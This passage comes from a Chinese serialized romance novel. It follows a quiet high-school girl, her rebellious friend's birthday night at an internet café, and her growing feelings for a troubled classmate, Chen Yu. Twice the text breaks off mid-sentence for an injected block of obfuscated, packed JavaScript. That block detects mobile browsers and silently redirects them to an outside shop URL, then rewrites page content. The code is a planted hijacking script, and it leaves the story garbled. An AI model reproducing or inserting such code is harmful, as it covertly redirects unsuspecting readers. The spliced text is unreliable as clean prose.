桌面显示更多的就是AutoCAD、Blender等软件,除此之外是她的英语音频系统跟各类学习资料。 笔记本电脑厚重,用了许多年已经显露出年代感,是容春英之前为了给房子做设计才买来的二手。 戈冬菱一直觉得容春英很有才,她脑子聪明,自己琢磨就能学会她想要学会的东西,她考上过大学,学的建筑学,却不知道因为什么原因被退学了。 至今她的大学录取通知书还在她床头的红木箱子里。 后来这个电脑就给戈冬菱用作学习查资料看网课,一直放在了她的房间。 戈冬菱打开电脑,登录上微信,看了一眼老师发的群消息,戴上耳机听着英语听力练习口语。 听完,又点开微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207449|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信朋友圈,第一条就是尢雪梨发的。 一张自拍。 章鹏勾着她的肩膀,她环着胸随意坐着,旁边还坐着好几个陌生的朋友,经常在她微博看到,应该是他们学校的,很会唱歌跟玩乐器才跟她玩到了一起。以及坐在沙发最角落的陈昱,没太多存在感,灯光把下颌映得清晰朦胧。 只有他没看镜头,手指把玩着一根的烟,另一只手捏着笔,懒懒散散地低头在补作业。 戈冬菱点开,放大,盯着照片里的人看了很久。 好像尢雪梨的性格才能够轻而易举跟他同框。 而徐俐暗恋了陈昱三年,他也不知道。 关掉照片继续往下滑动,戈冬菱给每一人都点了赞,才退出了微信。 时间刚过十一点,上床睡觉。 尢雪梨很喜欢发朋友圈,偶尔分享吃食,啤酒,亦或是跟谁一起出去玩。 她交际圈广泛,那些朋友会带她去蹦迪泡吧,这些对于学校的大多数循规蹈矩的人来说完全是超越了正常认知的行为,但她一直特立独行,谁都不在乎。她的性格也轻而易举能够溶入那些圈子。 或许是那种冷丧又没有任何情绪的眼神,女生也能在她身上找到安全感,不觉得她会插足什么。 毕竟他们觉得,尢雪梨对感情的兴趣比不上她的音乐分毫。 她有微博在营业,她热爱她的音乐,微博网名叫“想去悉尼”,置顶也是这句话。 最早的粉丝问为什么?喜欢澳洲吗?她说澳洲的悉尼在台湾叫雪梨,所以她想带着她热爱的音乐去那里生活。 她经常在某网站发些demo跟吉他纯音乐,至今零零散散积攒了将近一万粉丝,第一个粉丝就是戈冬菱,但戈冬菱搞不懂微博上的纷扰,所以从来不怎么去看。 后来几乎每天戈冬菱都会看到尢雪梨发的照片,大多数是跟章鹏一起,只是偶尔会出现陈昱的身影。 戈冬菱不知道是不是因为他奶奶去世的原因,除了那天在公交车上——他好像真的如徐俐口中所猜,再没来过学校。 ** 期末考试在那一年的农历十二月十八。 月初,戈冬菱就在看各种复习资料,偶尔学累了,她盯着面前的英语书发呆,想到明年六月份,她的高中生涯就要结束了,与此同时,在椰林的生活也要结束。 周五下午的最后两节固定自习课。 没下雨,有风,冷。 戈冬菱抱着一本语文书上了北角天台,当年重建时学校的天台并没有建设好,用了劣质的石灰,此时天台地面满是灰色斑驳,久而久之好多处都残缺着,看上去荒凉又退败。 学校四面八方一共有四个天台,只有这个天台没被封门,会有很多人会上来天台吹风,要么抽烟,要么早恋。 戈冬菱坐在往常一直会坐的地方,又从旁边一个狭缝中抽出了一盒大前门。 是她藏在这里的。 她环着腿坐在台阶上,想了想又从口袋中掏出了一包薄荷糖,她花光了零花钱在学校小卖部买光所有的口味找到的这个。 咬在牙齿间很凉,冰到了嗓子眼,在冷天像是一把刀子插了进去。 糖在她唇齿之间咔吧响,她低着头背那篇《赤壁赋》。 一直到下课铃声响起,戈冬菱才下楼。 周五下午,没人会上来。 戈冬菱也是唯一一个有天台钥匙的人,锁都是她换掉的,至今没人发现。 这也是一个公开的秘密,北角天台的门在周五会打开。 走到拐角最后一节台阶,戈冬菱的余光中闯入了一个颀长的身影。 懒懒散散的走姿,身上还挂着那件黑色校服,脖颈没了那根黑绳平安扣略显空荡。 戈冬菱站在原地没动,袖口下的手指下意识抓得很紧很紧。 楼梯狭窄,冷光,半封闭空间。 擦肩而过时,少年肩宽腿长靠着围栏,无端衬得楼道逼仄沉闷,漆黑的眸抬起,瞧着她挑眉:“哪个班的?” 5. 恶魔钉 戈冬菱一时之间没吭声,只是盯着他看,耳畔是陌生的心跳轰鸣声,等了好久等不到减缓,才轻声:“二班的。” 忽然想起什么似的,摸了摸脖颈,随后看向旁边地面。 下一秒弯腰把自己的课本放在了台阶上,把脖颈那条串了黑绳的平安扣摘了下来。 抓在手心里,又递给他。 “是你的吗。” 陈昱盯着那条黑绳,没接,只是抬眼看着她,没什么表情,却能清晰地看出眼神更冷了些。 “哪来的。” 心跳声大到有些模糊了听力,戈冬菱攥紧手指,下意识垂着眼睛没再看他的脸,低声说:“你落面馆了,老板让我给你,我害怕丢,也没找到你。” “你认识我?” “噌”的细微轻声,他似乎往后面靠了一下,中间拉开了些喘息的距离。一些的细微举动都拉扯着神经。 戈冬菱仍然低着头说:“认识。” 陈昱挑了下眉,目光梭巡着眼前穿着校服的女孩,扎着高马尾,刘海有些盖眼睛,眼尾下垂着,看上去很紧张,浑身都处于防备状态。 他倒也没问怎么认识。 前两天他刚因为在那家面馆打架被停课一周,还在学校班级广播里做了深刻检讨,面前这女孩,看着就像是上课认真到能把他检讨都背下来的那种好学生。 陈昱接过那条黑绳,指尖刮过他的掌心,那枚平安扣上还残留着余温,在他冰凉到冻疮还没好的指骨上显得有些灼热,天台上的风吹进阴暗楼道里,凉意从指缝穿过,他下意识掌在手心紧扣住。 “谢谢。”他说。 抬眼看到她低下头,抱起那几本语文课本转身往台阶下走。 灯亮了。 陈昱盯着人的背影,视线中擦过一抹亮色,是楼道灯管在此时亮起后反射到她耳朵上,那长发藏不住的两颗恶魔钉。 穿进耳骨,两颗耳钉在耳尖上像是一双恶魔的犄角。 离得近,灯光又很亮,还能隐约看出耳骨上渗出的血。 她抱着语文课本从楼梯上两格两格往下跳,最后一格时滑了一下,手迅速抓住旁边冰冷的铁扶手才站稳。 随后又压低了脑袋,缓缓地一格一格消失在他的视线中。 陈昱揣着口袋,收回视线之后把手里的平安扣从兜里掏出来,盯着看了几秒,套在脖颈,转身上天台,在天台找了一会才找到李屏东落下的mp3。 站起身时,视线在天台旁边的一个垃圾通道上方,放着一块破旧黏着尘土的红砖。 前几天的雪融化在上面,整个天台都湿漉漉的,红砖被雨水淋透了一遍又一遍,手碰上去都掉渣。 他移开看到挡着的墙壁上有一个空洞,大概是之前设置安装插座用的,里面还缠绕着几根红的绿的电线,而最里面,是一盒被捏扁的大前门的烟。 *** 害怕错过末班车,戈冬菱踩着下课铃就背着书包出了教室。 今天是容春英生日,12月27日,她昨晚回去就忽然问她要不要吃蛋糕,这么多年她俩生日都没有吃过蛋糕,大多数都是早上煮鸡蛋晚上熬鸡汤,她这么一问,戈冬菱就点了点头。 上了末班车又坐在最后一排靠窗的位置,她脑子里还在想着容春英只是随口一说还是真的给她买了蛋糕吃。 司机师傅喊了一嗓子,打碎了她的思绪。 车要启动了。 戈冬菱抬起头往前面看了一眼,今天没下雪,大多数人大概都是自己骑电车回家,校班车内没多少人。 身子靠着靠背,视线无意识地转向旁边玻璃窗外,车旁边湿漉漉的人行道上,站了好几个穿着黑色棉服的男生。 那一头黄毛特别扎眼,戈冬菱定睛一看,才认出来是那个跟尢雪梨要微信的,他们应该是在一起了。不知道什么时候染的,也不知道怎么躲过老师的。 注意到了戈冬菱的视线,隔着一道玻璃,章鹏咧着唇,朝着戈冬菱打了个双指的招呼。 看过去的余光中,陈昱低着头手里把玩一支打火机,少见地戴了一个露指的黑色手套,黑色鸭舌帽把表情完全遮挡看不清神情。一米八七的身高是这几个人中身高最突出的一个,也是最惹眼的一个。 陈昱这个名字就在学校没人不知道,一是他的风光伟绩,二是他的长相像是跟这个落败的小镇有些割裂感。 他并不白,反倒被阳光晒的很健康,鼻梁高挺,鼻头圆润,下颚线是极其锋利的折角,一条线折过去,线条轮廓清晰分明。 眼睛漆黑又亮,亮到惊人,带着一种青涩,以及原始的轻狂野性。 他迟早走向荒野,走向他的天地。 她正出神想着,等发散的目光聚拢,站在人群最边缘的陈昱抬起了头,隔着校车的玻璃,仰着头跟车内的她对视。 他一直没移开视线,似乎在她出神的那一刻就已经敏锐地锁住了她的目光终点,这样目光的交汇更像是一种单方面的审判跟观察。 戈冬菱手指骤然捏紧,心跳都漏了一拍,佯装无事移开目光,垂下眼睛从口袋里找出了那个唱片机,黑色耳机线垂落在脖颈。 公交车并不隔音,更不要说他就站在距离她坐的位置一米远的车旁边。 “谁啊?”他旁边朋友好奇问了句。 陈昱把打火机揣进口袋,视线也跟着移向章鹏。 章鹏随口说:“尢雪梨朋友。” “她朋友还真是……广泛。” …… 模糊听完这句话,公交车就从他们眼前开走了。 戈冬菱后知后觉才想起来她没摁开关,耳机里并没有声音。 他们没上车,大概是在等人接。 手指一下一下揉捻着黑色的耳机线,扭到感觉有些吃力,又松开。 尢雪梨朋友。 一直到这个学期结束,戈冬菱在他们几个的耳朵里都是这样被定义的。 回去时容春英还没结束工作,她趴在卧室的课桌上看书写作业,时不时回复徐俐几条消息。 电脑发出叮咚的企鹅来信,点开—— 【你知不知道,尢雪梨跟陈昱的事儿。】 戈冬菱看到这条微信时,大脑嗡了一声。 下意识在键盘上敲着:【她跟陈昱朋友认识。】 【我看到了,陈昱他们仨刚才那家店里吃饭,还去搜了她的微博,发的图片,我服了。】 徐俐一直都不喜欢尢雪梨,一是她本身对职高的人就没什么好感,二是因为分班之后戈冬菱莫名其妙跟尢雪梨关系好,她不舒服。 【怎么我喜欢的人都要染上她啊……】 戈冬菱忍不住解释:【她挺好的,只是学习不好而已,我学习也不好,你是刻板印象。】 她只是爱漂亮,爱唱歌。 【你知道她怎么上职高的吗?】 【考上的。】 过了两分钟,徐俐给她截了好几张图,是学校的一个匿名群。 【放屁啊,她能考上,她中考都没考。】 【为啥?】 【鬼知道,你知道她怎么进职高的吗?】 【怎么进的。】 【她妈给职高的校长下跪,我笑死了,她自己估计都不知道。】 【我靠。】 【卧槽她那个小尾巴没在群里吧。】 戈冬菱看完也没吭声,点出图片后才发现徐俐又给撤回了。 【自己不学无术还要她妈承担的人能有什么好,烦死了,陈昱朋友有病啊看上她。】 【她最好是离陈昱远点。】 戈冬菱敲着字:【你少八卦,把这时间多放在学习上,也不会当万年老二了。】 【杀人诛心,伤害我你会开心吗?你不会!】 回完消息没多久容春英就回来了。 戈冬菱回了她最后一条。 【我们最近也没联系。】 跟尢雪梨不是一个学校住的也相隔甚远,除了上次章鹏送她回来,她跟尢雪梨大半个月都没见过。 她忙于学习,也不怎么看她的微博跟朋友圈了。 容春英在客厅叫她,戈冬菱走出去,听到她便拖着外套边说:“蛋糕吃了,别吃太多,我现在熬鸡汤喝,冷不冷怎么不开热风扇。” “不冷的。”她身上穿了很厚的保暖衣跟毛衣。 吃了蛋糕,是蛋糕店最便宜的纸杯蛋糕,买了三个,很甜,甜的有些牙疼。 她刚吃完一个,手机响了一声。 【要不要出来?】 她抬眼看了一眼在厨房炖肉的容春英,锅里发出咕嘟咕嘟的响声,空气里溢满香味,她站起身拿着小手机回了房间。 【我妈在做饭了,而且她今晚不上班,不会同意我出来的。】 尢雪梨问:【做的什么?】 【鸡汤,还买了蛋糕吃。】 那边有很长的时间都没吭声,戈冬菱以为她生气了。 今天毕竟也是她十九岁的生日,她十八岁的生日戈冬菱也没跟她一起过。 【你现在在哪里,跟阿姨一起吗?】 尢雪梨:【没有,在外面跟同学一起。】 同学? 尢雪梨跟她同学关系都很一般,身边那些朋友也都是他们酒吧凑到一起的一个乐队,根本没人欣赏她的音乐,她站上去,只是打碟。 戈冬菱去过一次,看到她站在那样酒吧的舞台,觉得她本应该站在更广阔的地方。 除了那些之外,她最近一直跟陈昱那几个人凑在一起,她很少跟一群人真的混在一起,但从她发的那些图片上看,他们几个的关系确实不错。 尢雪梨:【阿菱,有的时候我真的有点羡慕你。】 戈冬菱回过神儿,盯着这句话:【羡慕我什么?】 【你妈妈,对你很好,她生日还给你买喜欢的蛋糕吃。】 戈冬菱一时之间没吭声,脑海里又想起了他们微信群里说的那件事,分不清是真的还是流言蜚语。 手机嗡了一下拉回思绪。 【你真的不来吗?吃完饭过来也行,就说给同学过生日,一会我找人送你回来,还有你们学校的,说不准你认识。】 戈冬菱盯着这句话两秒,鬼使神差敲字问:【都有谁?】 其实尢雪梨很少拉着她进她的圈子,戈冬菱不是爱凑热闹的人,很多陌生人只会让她觉得拘谨。 她从小安分守己从来不会说一个不字,而尢雪梨从初中开始就离经叛道身边一群地痞流氓环绕,所以她们两个很诡异的成为朋友是所有人都很难明白的。 或许是因为这是高中的最后一次生日,她才那么想要好朋友在身边。 【上次送你那个,他两个朋友,还有之前一起吃饭的我同学。】 戈冬菱还没来得及回复,就听到了客厅容春英的叫喊声。 “吃饭了!在房间干什么呢。” 她就快速做出反应,发了一条:【对不起,我明天给你生日礼物好吗?】 容春英每年的生日都会请假在家休息,她倒是没有什么仪式感。 但戈冬菱听之前的邻居大娘说,她有个孩子没生下来,那一年太冷,家里没车,是开着邻居的电动车把她送去医院的。 路上折腾很久,天气又冷,孩子生下来就没了。 她猜测是今天。 手机放在房间没拿出来,戈冬菱回了客厅跟容春英一起吃饭,闲聊了一些乱七八糟的。 容春英忽然沉了口气,跟她说:“老板给我升职了,我准备等明年开一家店,到时候你就给我帮忙。” “不去别的地方了吗?”戈冬菱一愣。 “不去了,感觉这儿挺好的。” 等她走了,戈冬菱才缓缓回过神,把面前的饭吃干净刷了碗,回了房间写了一会儿作业。 窗外很寂静,没下雪,但冬天的夜晚总给人一种平和的静谧感。 她就趴在窗口的课桌上,时不时看一眼乌黑窗外,已经悄无声息下起雪了。 一直写到她开始不停打哈欠,眼角的泪花模糊了试卷上的字,才捞起旁边正在充电的手机看了一眼。 手机显示时间22:40。 要睡觉了。 还没把自己扔上床,手机铃声陡然响起,居民楼并不隔音,这阵铃声异常突兀。 她被吓了一跳,忙不迭走过去拔掉充电线接听。 声音压得很低“喂”了一声。 “尢雪梨是你朋友吗?” 对面的声音很耳熟,沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207450|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑磁质,语调漫不经心,好像在脑海里出现过无数次。 她大脑有些空白,随后迟钝地回应: “嗯。” “她有些不舒服,能来一下吗?”他说。 陈昱的声音懒散极了,轻飘飘的没有重力,好像他的视线,总是没有认真看过什么。 “她朋友不在旁边吗?” “不知道。” “……” 戈冬菱只能问:“她在哪?” “西街,那个网吧。” 原来不在酒吧。 也是,她本来就不喜欢喝酒。 “你不能送她回家吗?她家在——” “老子在补作业。” 戈冬菱静了一秒。 随后哦了一声。 “我现在过去。” 她说完就挂断了。 把脱掉的棉袄又重新裹上,还好外面没下雪。 她差不多是半个多小时之后才到的,快到的时候对方又用尢雪梨的电话打了过来,问她怎么还没到。 戈冬菱停在原地用身体支撑着车,很费劲地用冻红的手掏手机,鼻音很重,声音都打颤说:“走到一半下雪了。” 拐个弯就到了。 对面有几秒都没吭声。 “你怎么过来的?” “自行车。” 那边似乎骂了一句,应该是别过头,所以听得模糊。 又过了几秒,挂断了电话。 等戈冬菱过去之后,看着靠着椅子上聚精会神打游戏的尢雪梨,才知道自己被骗了。 她孤身站在热气充盈的网吧,闻到空气中浓重的烟味泡面味以及甜腻的蛋糕味道,感觉胃里都有些不太舒服。 这里的一切都令她排斥。 “这儿。”看到人,她抬起头摘掉耳机朗声喊着。 戈冬菱走过去,看着戴着耳机打游戏的尢雪梨,说:“你不是说不舒服吗?” 尢雪梨仰头看向她,游戏也不管。 笑着说:“我不这样说你不来,我给你留了蛋糕吃。” 戈冬菱就瞅着蛋糕,摇了摇头说:“我刚吃过饭没多久。” 随后从口袋掏出一个小盒子,是个蓝色的包装盒,里面放着一条陶瓷项链。 是她攒了好几周的零花钱才买的。 她如果跟容春英说同学生日她也会给她,但如果知道是尢雪梨生日,就不会给。 容春英一直都把自己的成绩一落千丈归咎于跟尢雪梨这种高中都考不上的人身上,但戈冬菱并不觉得这是她讨厌尢雪梨的原因,她就是单纯看不上尢雪梨。 “谢谢。” 尢雪梨又说:“坐这儿,陪我玩一局,你天天看书不累啊,也没见你进步。” “我不会玩游戏。” 她也没兴趣。 “没事啊这么多人在呢,章鹏,过来教她。” 章鹏不知道要不要过去,就扫了一眼旁边的陈昱。 这哥倒是手里捏着一支笔转来转去,穿着一件黑色棉袄开着拉链,里面是一件黑色卫衣,脖颈那条黑绳也勾在了卫衣外。 没什么兴致的样子,眼睛却一直在戈冬菱身上悬。 陈昱只是有些意外。 他的目光一直落在她的耳朵上,长发散着垂在棉袄的帽子上,只露出一点被冻到通红的耳朵,那两颗张牙舞爪的耳钉没戴。 浑身上下都是狼狈的。 “不用了。” 戈冬菱的语速很快,回复的也很急切。 “我真的要回去了。” 她说完,尢雪梨也不吭声。 过了几秒才说,“今天我生日。” “算了,你回去吧。” 除了学习成绩没有那么好之外,戈冬菱跟班里只会闷头学习的好学生没有任何区别。 连她耳朵上的那两个耳洞都是她平安夜生日那天尢雪梨拉着她去穿的。 害怕容春英发现,她很多时候都戴得隐形耳棒。 等戈冬菱走了之后,旁边章鹏才拧了下眉看着她。 “你非要她过来干什么……人明显跟你不是一路的。” 尢雪梨面无表情说:“怎么不是一路的了,我俩认识的比你久。” 章鹏没吭声,余光扫了一圈,才忽然注意到。 “昱哥呢?” “早就走了,刚帮你打电话他就烦了。” ** 外面的雪下的更大了,雪在地面铺了薄薄一层,来时骑车滑倒摔了一下,没再敢骑,戈冬菱推着自己的自行车往前快速走。 手机快要没电了,路上的路灯也不亮,没什么人,容春英如果发现她晚上偷跑出来会很生气。 她戴着耳机听着音乐也没减缓心里的不安。 一直到走到十字路口,她拼命喘息着趴在自行车的车座上,无意识地朝着四周的车辆看。 一回头,余光看到了这条路距离了大概几十米远处,人行道上,陈昱单肩背着书包不紧不慢地跟在她身后。 隔着老远,隔着雪幕。 他颀长的身高跟削瘦的剪影就在那儿。 那一瞬间,人定住,她的心跳几乎要蹦跳到了嗓子眼,喘息声骤停,一直到绷紧得有些喘不过去,才一帧一帧移开视线。 又继续推着自行车往前走,速度更快了,像逃窜一样。 这条路很长,两三排的店铺楼房,门前高耸着几颗光秃秃的苦楝树,几间紧闭着门的店铺红绿灯牌孤零零写着“洪宇手机维修”“家庭旅馆”等字样。 身后的人似乎是跑过来的,单手抓住了她的车后座,声音都带着些喘息。 “你跑什么?” 戈冬菱推不动,就停下来看他。 他很高,比她高了整整一头,这么近的距离仍旧需要仰着头。 视线清晰,目光落在他硬挺的鼻梁上,再往上移,他那双漆黑的眸在黑夜发亮,像是被雪洗过一样,睫毛长直垂在眼尾过于明显,以至于让人从他的眼睛上离不开。 陈昱注意到她的表情。 “以为我跟踪你啊。” 戈冬菱后知后觉意识到他误会了什么。 却没吭声。 “一起吧,我家也在七苔街。”他说。 6. 微信号 戈冬菱没吭声,垂着眼手指还紧紧捏着自行车的把手,余光见他松开了手,才继续推着自行车迎着风雪往前走。 他开始低着头在手机上打牌,手机的声音噼里啪啦的,听最后的声响应该赢了,随后循环又来一局。 他一直没再说话,就跟在她单车后不近不远的距离,似乎就是单纯的顺路,或许如果不是以为戈冬菱回了一下头,做出了令他误会的举动,他也根本不会过来。 又或许,是因为她捡了他的平安扣。 雪下得更大,空气中的冷割着呼吸,鼻子酸疼。 戈冬菱缩了缩脖子,一个人走夜路回家的恐惧感散去,随之迎来的便是挥之不去的冷意跟身后男生那无法忽视的扰动神经的存在感。 走过这个拐角就快到家了。 戈冬菱把车放在门口的一个停车区,里面摆放着很多电动车,把自行车停靠在原来的位置。 再一回头时,陈昱已经不见了。 居民楼的院子里除了一地薄雪,空无一人,只能偶尔听到风呼呼的声音跟房上铁皮的“唧呀”声。 她停好车,就迅速地往二楼家里走。 静悄悄开了门,关上卧室门时才彻底松了一口气。 房间的暖风扇关了,她打开把被冻到泛红的手放在火炉前烘烤,脱掉了有些湿的棉袄,把自己裹进被子里。 手机屏幕在黑夜中亮起。 00:12。 戈冬菱放空大脑,借着手机光看着天花板,过了好一会等身体回温,才颤巍巍把手从被子里掏出来给尢雪梨发消息。 【尢雪梨十九岁生日快乐,以后的每一天都要开心。】 【早点回家,阿姨会担心你的。】 那边没回。 关上手机,戈冬菱裹好被子闭上眼睛。 房间里安静了半个小时,戈冬菱又重新睁眼,沉了口气,摸了摸手机看了一眼时间。 很困,睡不着。 脑海里又想到了她推着自行车盯着暴风雪在路边艰难前行,身后跟着慢悠悠的他。 戈冬菱翻了下身,又坐起身裹了件衣服蹑手蹑脚出来。 房门是双层的铁门,防盗门发出一声铁皮的哐啷声响,她轻轻关上,没穿袜子只穿着一双容春英做的棉拖,趴在了二楼围栏上,盯着外面的无声无息下着的雪看,因为附近有个皮革厂的原因,站在这里能听到隐隐约约的机械声响,远处很多房子的灯也都亮着。 过了十几分钟,仰着头往楼上看。 她这个角度,除非陈昱也同样站在这个位置,否则什么也看不见。 她站在居民楼的最底层,看着向上生长的破败居民楼,像是永远也爬不上去。 戈冬菱耷拉下脑袋,吸了吸鼻子缩着进了房间。 *** 第二天一早还是下了雪,容春英送她去学校之后才去上的班,每次下雪天她几乎都是踩着上课铃进的学校。 随后缩在自己的位置上,看着面前被堆积的一本一本的卷子转笔发呆。 眼睛一斜,桌角还贴着一张全年级前一百名的排名表,第一名叫盛贞,是学校校长的独生子。 第二名就是徐俐,被压在他底下的万年老二,他们两个人算是学校的重点保护对象,毕竟在他们这样的小县城,能考上名校的本就不多。 这个排名表是班主任发下来让贴在桌子上用来警醒自己的。 “戈冬菱,出来一下。” 她还在捏着笔在英语字母上描圈点,旁边窗户被敲了几下。 她出了教室门,站在班主任面前也不太敢抬头。 “你为什么选理科?我看你的理综分数都很低。” 戈冬菱就低下头不吭声。 班主任郭觅沉了口气,随后说:“我了解了一下你的情况,你高一的时候还在全年纪的前几名,且每次的分数都很稳定,是因为……身边环境吗?” 她的眼神都示有所指。 戈冬菱抬起头问她:“老师是为了达到本科上线率晋升职位吗?我学不会,没用的。” 郭觅被她的话语被噎住了,戈冬菱一项安静,没想到她会说出这样的话来。 “那你以后想干什么?” 戈冬菱:“不知道,我妈让我干什么我就干什么。” 郭觅似乎很失望,她是有目的,但从城里被下调到这里看到这么多学生的现况,当然也想要他们从这里走出去。 “你以后会后悔的。” 戈冬菱回了教室,脑海里还回荡着刚才郭觅的那句话。 会后悔的。 会吧。 旁边同桌低声问她老师跟她说了什么,戈冬菱说了之后,看到同桌在笑。 “她还真操心。” 下课铃声随之响起。 戈冬菱胳膊插在衣袖里,抵着下颌小憩,旁边玻璃窗被敲响,她才迷迷糊糊地睁开了眼,那一抹黄毛有些刺眼,在灰白色的世界里成为一抹亮色。 男生直接打开了窗户,从缝隙中递了一袋牛奶给她,很热,滚烫的应该是刚从热水里拿出来的。 “她让给你买的,昨晚对不起啊,你没生气吧?” 章鹏说这话的时候有些别扭,他也真是不懂了,非要耍人玩,但跟尢雪梨认识了这大半个月了,她好像是真的把戈冬菱当朋友。 戈冬菱黑漆漆的眼睛看着他也不吭声,细看眼睛有些不聚焦的朦胧感,刘海凌乱,脸颊也红扑扑的。 一脸懵的状态。 章鹏哑口无言了,用胳膊肘捅了一下旁边站着的陈昱。 草。 找他没用。 傻逼李屏东这个时候拉肚子。 陈昱就笑了笑,直接把那袋牛奶扔她桌上,呼啦一声关上了玻璃窗,又回弹了一下。 “走了,你没把人冻死。” 人走了,班里好几个人都看着戈冬菱,教室里的吵闹声都减低了。 “我去,不是,你认识陈昱啊?” 旁边同桌疯狂拉扯着戈冬菱的衣服,随后又恍然大悟。 “哦不对,你们放学一起玩了?尢雪梨带你的啊。” 戈冬菱这才回过神,抓着那袋滚烫的牛奶,迅速摇了摇头:“不认识,我不认识他。” 声音不高不低,顺着传到窗外。 “啊……也是,你肯定不参与他们。” “你喜欢他?” “帅啊,帅出名的好吗?他初中跟我一个学校的,你不知道他初中,他初中特别疯。” 戈冬菱就没吭声,侧过头时才注意到玻璃窗并没有关严,于是伸出手拉上,又把手缩紧衣袖里。 *** 戈冬菱下课去上厕所,被徐俐拉着一起。 她才第一次清晰地知道徐俐有多喜欢陈昱。 “你帮我要陈昱的微信号。” 戈冬菱就看着她,顿两秒才说:“我们真的不认识。” “我知道啊,你为了我奉献一下嘛,你之前可是说跟我一起去古着店的,放了我的鸽子去给尢雪梨看店,就当是补偿我。” 戈冬菱揣着口袋,说:“你要把偷偷玩手机这时间放在学习上——” “戈冬菱,你怎么又开始教育我了,你要是把教育我这时间用在自己学习上也不会倒数了,况且,我可不敢超他,盛贞跟神经病似的。” 戈冬菱就侧过头看他:“他怎么了?” 她跟盛贞还有徐俐高一是一个班的,关系不算很熟但也比一般的同学要了解很多。 他似乎有孤僻症,碎发有些长到盖住了眉眼,整个人给人一种潮湿感,太阳晒不透。 除了学习什么都不爱,也从不跟人交流,人很呆很木,很瘦,瘦的身上只有骨头,穿棉袄都是空荡的感觉,只有戈冬 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她说完这句话,刚一扭过头,迎面看到了拿着瓶矿泉水的陈昱。 应该是去了操场打球,身上只穿了件厚黑色卫衣,露出的脖颈里空荡荡的展出一抹泛红的锁骨还有那根黑绳,臂弯勾着件外套。 他倏然抬头扫了她俩一眼,最终停留在戈冬菱身上,随后又继续低着头往理科楼走。 擦肩而过。 周遭好像都变得安静。 戈冬菱下意识在看到他的那一瞬停住了脚步,还没反应过来,旁边的徐俐已经跟在陈昱身后也往另一边东边楼梯道去了。 她站在原地,脑海里还回荡着他刚才的那个视线,冷淡,陌生。 跟那天下雪的晚上他跟在她身后的眼神完全不一样。 那晚他跟在她身后,像他烧起一把冬天的火。 回过头眼神怔忪盯着徐俐的背影,又看着她追着的陈昱的身影,一直到有雪落在她脸上,才仰头看了一眼天空,随后慢吞吞踩着上课铃上了楼。 生物老师站在讲台讲了两节课的豌豆种子形状的杂交实验跟遗传物质实验。 响亮的声音让整个教室都更加安静。 持续到最后一节课下课铃声响起,所有人才松了口气,站起身把写密密麻麻又看不懂的课本合上一股脑往书包里塞。 放学后戈冬菱仍旧坐的公交车最后一排,她戴着耳机低着头,长发盖住了半张脸。 耳机的声音很大,唱得是家里电视机中普法栏目剧里的《青春的颜色》。 容春英每次打开电视机几乎都看得这个,久而久之戈冬菱也跟着看了好几期。 点开跟尢雪梨的聊天界面,她的手指悬在手机上半晌,才屏住一口气问: 【你有陈昱的微信吗,我有点事情找他。】 发完这句话,下意识灭掉了手机。 双手一直搓在一块儿,手心里都沁出了汗,有些粘。 那边尢雪梨一直没回复。 今天坐校车的人很多,旁边有人坐下,戈冬菱扫了一眼又往旁边缩了缩。 手机叮咚了一声,尢雪梨给她发了一串字母。 Apresmoiledeluge 戈冬菱盯着这串并不像英文词汇的字母看了好几秒,尢雪梨发完也没问她有什么事。 脑子里正乱七八糟想着什么,手指一直在添加界面迟迟没点下去。 点下去的那一瞬间。 熟悉的嗓音在狭窄的校车内落了下来,声线偏冷,腔调又挺散漫,轻撞在她耳朵上。 “有事么?”他扭过着身问。 戈冬菱反应有些慢,抬起头,一臂的距离,对上陈昱漆黑如岩石般的眼睛。 7. 大前门 戈冬菱跟他对视的那一瞬间觉得自己的大脑都是放空的,耳朵一片轰鸣,乌黑的眼睛直直看着他也没来得及转移。 比那晚他拉着自己的单车后座还要近的距离,在阴暗逼仄的公交车内,身影在车厢中不停轮换,来自十七岁异性之间才能产生的陌生气息疯狂窜动。 她看不见别的,屏着呼吸,享受着临近窒息时的安静,眼里只能看到他那双漆黑犀利的眼睛,眼尾的睫毛直直垂下来,眼白处带着很浅的红血丝,显些攻击性跟疏离感。 等她找回自己的声音,又下意识违背心愿地往后缩摇了摇头,紧贴着靠背,手指紧攥着那个巴掌大的手机,屏幕也被关上。 即便是下巴埋进了棉服的拉链里,她也能感觉到那刺着头皮的好几道目光,毫不掩饰地往这边投。 连挨着她的女生也一直侧着头看着她。 公交车晃晃荡荡地往前走,戈冬菱听到前方人衣服摩擦的声响,他转过身跟旁边李屏东说话。 大概是收到了章鹏的微信。 “你回哪?要不我俩去吃饭。” “回去睡觉。” “你天天睡不完了,尢雪梨说让你小心点。” “什么?” “上次你打了谁你不知道啊,那人之前就是尢雪梨学校的,就因为跟你打架被学校开了,他肯定记着你了迟早报复回来。” “关我屁事。” “我怎么没被开除。”他声音冷的不行,带着点轻嘲。 李屏东:“……我服了哥。” 戈冬菱微微抬了些眼睛,刘海长长遮住了些视线,她还是清晰地看到了陈昱后侧过头时的耳朵,也是血,带着血痂,被冻出来的。 他的每个冬天手跟耳朵都要冻出血。椰林的冬天太冷了。 李屏东没好气地说:“是他先招惹你的没错,但是你没必要啊你他妈明年就走了,你少惹事。” 